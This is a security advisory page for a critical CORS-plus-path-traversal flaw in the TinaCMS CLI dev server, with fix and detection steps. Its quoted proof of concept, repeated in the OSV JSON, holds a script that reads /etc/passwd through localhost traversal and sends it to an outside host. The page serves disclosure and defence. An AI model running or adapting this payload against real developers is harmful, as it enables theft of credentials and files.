CVE-2026-28792: @tinacms/cli Path Traversal Vulnerability

CRITICAL
Advisory Identifier: GHSA-8pw3-9m7f-q734
CVSS 9.6
CWE-942 CWE-22
Published
Advisory Summary

CVE-2026-28792 is a CRITICAL (CVSS 9.6) path traversal vulnerability (CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains) affecting @tinacms/cli libraries in the npm ecosystem. The issue involves tinacms cli dev server vulnerable to cross-origin file exfiltration via cors misconfiguration + path traversal in tinacms. Remediation is available by upgrading affected packages to version 2.1.8.

CVE-2026-28792 at a Glance

CVE Identifier CVE-2026-28792
GHSA Identifier GHSA-8pw3-9m7f-q734
Severity CRITICAL
CVSS v3.1 Base Score 9.6
CWE Classification CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains
Affected Product @tinacms/cli
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-28792

To remediate this vulnerability, upgrade all affected @tinacms/cli dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@tinacms/cli fixed: 2.1.8
npm install @tinacms/cli@2.1.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @tinacms/cli

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-28792, inspect your project dependencies using npm:

npm ls @tinacms/cli

Analyze the terminal output to locate any version of @tinacms/cli in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.8), your application is affected.

Note: The npm ls @tinacms/cli command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains, where the product uses a web-client protection mechanism such as a content security policy (csp) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate. In @tinacms/cli, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running. ## Details The TinaCMS dev server sets permissive CORS headers that allow **any origin** to make cross-origin requests: - packages/@tinacms/cli/src/server/server.ts: ``` app.use(cors()); ``` - packages/@tinacms/cli/src/next/vite/plugins.ts: ``` server.middlewares.use(cors()); ``` When combined with the path traversal vulnerability, this creates a complete attack chain. ## Attack Scenario ### Prerequisites 1. Developer runs `tinacms dev` (default port 4001) 2. Developer visits attacker's website while TinaCMS is running **No other conditions required** - the dev server doesn't need to be: - Exposed to the internet - Bound to 0.0.0.0 - Accessible outside localhost ### Attack Flow 1. Developer starts TinaCMS: `tinacms dev` 2. Developer browses the web (checking email, social media, etc.) 3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.) 4. Attacker's JavaScript exploits CORS + path traversal to read sensitive files 5. Files are exfiltrated to attacker's server ## PoC ### Attacker's Malicious Website (evil.html): ``` <script> fetch('http://localhost:4001/../../../etc/passwd') .then(r => r.text()) .then(data => { // Exfil via GET const img = new Image(); img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data); }); </script> ``` ### Demonstration **Step 1:** Start TinaCMS dev server ```bash tinacms dev # Server running on http://localhost:4001 ``` **Step 2:** Host evil.html on attacker server ```bash python3 -m http.server 8000 ``` **Step 3:** Developer visits `http://attacker-server:8000/evil.html` **Result:** The browser makes cross-origin requests to localhost:4001. Because cors() returns Access-Control-Allow-Origin: *, the browser allows the JavaScript to read the responses. Directory listings from outside the media directory are sent to the attacker's server. <img width="1900" height="366" alt="image" src="https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617" /> ## Impact ### Who is affected Every developer running `tinacms dev` is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable. ### What an attacker achieves By hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently: 1. **Enumerate the developer's filesystem** directory listings via `/media/list/` with path traversal reveal file and folder names across the entire filesystem 2. **Discover sensitive files** locate `.env`, `.git/config`, SSH keys, cloud credentials, database configs 3. **Write arbitrary files** via `/media/upload/` with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts 4. **Delete arbitrary files** via `/media/` DELETE with path traversal

CVE-2026-28792 Affected @tinacms/cli Versions

1 component(s)
Fixed Versions:
2.1.8
Product / Package Ecosystem Affected Versions Fixed Version
@tinacms/cli
npm
< 2.1.8
2.1.8

References

Frequently Asked Questions

What is CVE-2026-28792?
CVE-2026-28792 is a security vulnerability in @tinacms/cli involving TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains.
Which @tinacms/cli versions are affected?
Affected versions include releases prior to 2.1.8 across affected packages: @tinacms/cli.
What version fixes CVE-2026-28792?
Upgrading to 2.1.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @tinacms/cli affected?
Yes, @tinacms/cli is affected in releases prior to 2.1.8. Upgrade your dependency to 2.1.8 or later.
What is the CVSS score of CVE-2026-28792?
CVE-2026-28792 has a CVSS v3.1 base score of 9.6 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-28792?
CVE-2026-28792 is classified under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains (The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate.).
How can I check npm dependencies for CVE-2026-28792?
Run the dependency tree command: 'npm ls @tinacms/cli'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8pw3-9m7f-q734",
  "modified" : "2026-03-12T20:32:09Z",
  "published" : "2026-03-12T20:32:09Z",
  "aliases" : [ "CVE-2026-28792" ],
  "summary" : "TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS",
  "details" : "## Summary\nThe TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.\n\n## Details\nThe TinaCMS dev server sets permissive CORS headers that allow **any origin** to make cross-origin requests:\n\n- packages/@tinacms/cli/src/server/server.ts:\n```\n  app.use(cors());\n```\n\n- packages/@tinacms/cli/src/next/vite/plugins.ts:\n```\n     server.middlewares.use(cors());\n```\nWhen combined with the path traversal vulnerability, this creates a complete attack chain.\n## Attack Scenario\n\n### Prerequisites\n1. Developer runs `tinacms dev` (default port 4001) \n2. Developer visits attacker's website while TinaCMS is running\n\n**No other conditions required** - the dev server doesn't need to be:\n- Exposed to the internet\n- Bound to 0.0.0.0\n- Accessible outside localhost\n\n### Attack Flow\n1. Developer starts TinaCMS: `tinacms dev`\n2. Developer browses the web (checking email, social media, etc.)\n3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)\n4. Attacker's JavaScript exploits CORS + path traversal to read sensitive files\n5. Files are exfiltrated to attacker's server\n\n## PoC\n### Attacker's Malicious Website (evil.html):\n```\n<script>\nfetch('http://localhost:4001/../../../etc/passwd')\n  .then(r => r.text())\n  .then(data => {\n    // Exfil via GET\n    const img = new Image();\n    img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data);\n  });\n</script>\n```\n### Demonstration\n\n**Step 1:** Start TinaCMS dev server\n```bash\ntinacms dev\n# Server running on http://localhost:4001\n```\n\n**Step 2:** Host evil.html on attacker server\n```bash\npython3 -m http.server 8000\n```\n\n**Step 3:** Developer visits `http://attacker-server:8000/evil.html`\n\n**Result:** The browser makes cross-origin requests to localhost:4001.\nBecause cors() returns Access-Control-Allow-Origin: *, the browser\nallows the JavaScript to read the responses. Directory listings from\noutside the media directory are sent to the attacker's server.\n<img width=\"1900\" height=\"366\" alt=\"image\" src=\"https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617\" />\n\n\n## Impact\n### Who is affected\nEvery developer running `tinacms dev` is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.\n\n### What an attacker achieves\nBy hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:\n\n1. **Enumerate the developer's filesystem** directory listings via `/media/list/` with path traversal reveal file and folder names\n   across the entire filesystem\n2. **Discover sensitive files** locate `.env`, `.git/config`,  SSH keys, cloud credentials, database configs\n3. **Write arbitrary files** via `/media/upload/` with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts\n4. **Delete arbitrary files** via `/media/` DELETE with path traversal",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@tinacms/cli"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.1.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/security/advisories/GHSA-8pw3-9m7f-q734"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28792"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/pull/6450"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/commit/56d533e610a520ba66b3e58f3a0dc03487d5d5d7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tinacms/tinacms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/releases/tag/%40tinacms%2Fcli%402.1.8"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-942" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-12T20:32:09Z",
    "nvd_published_at" : "2026-03-12T17:16:50Z"
  }
}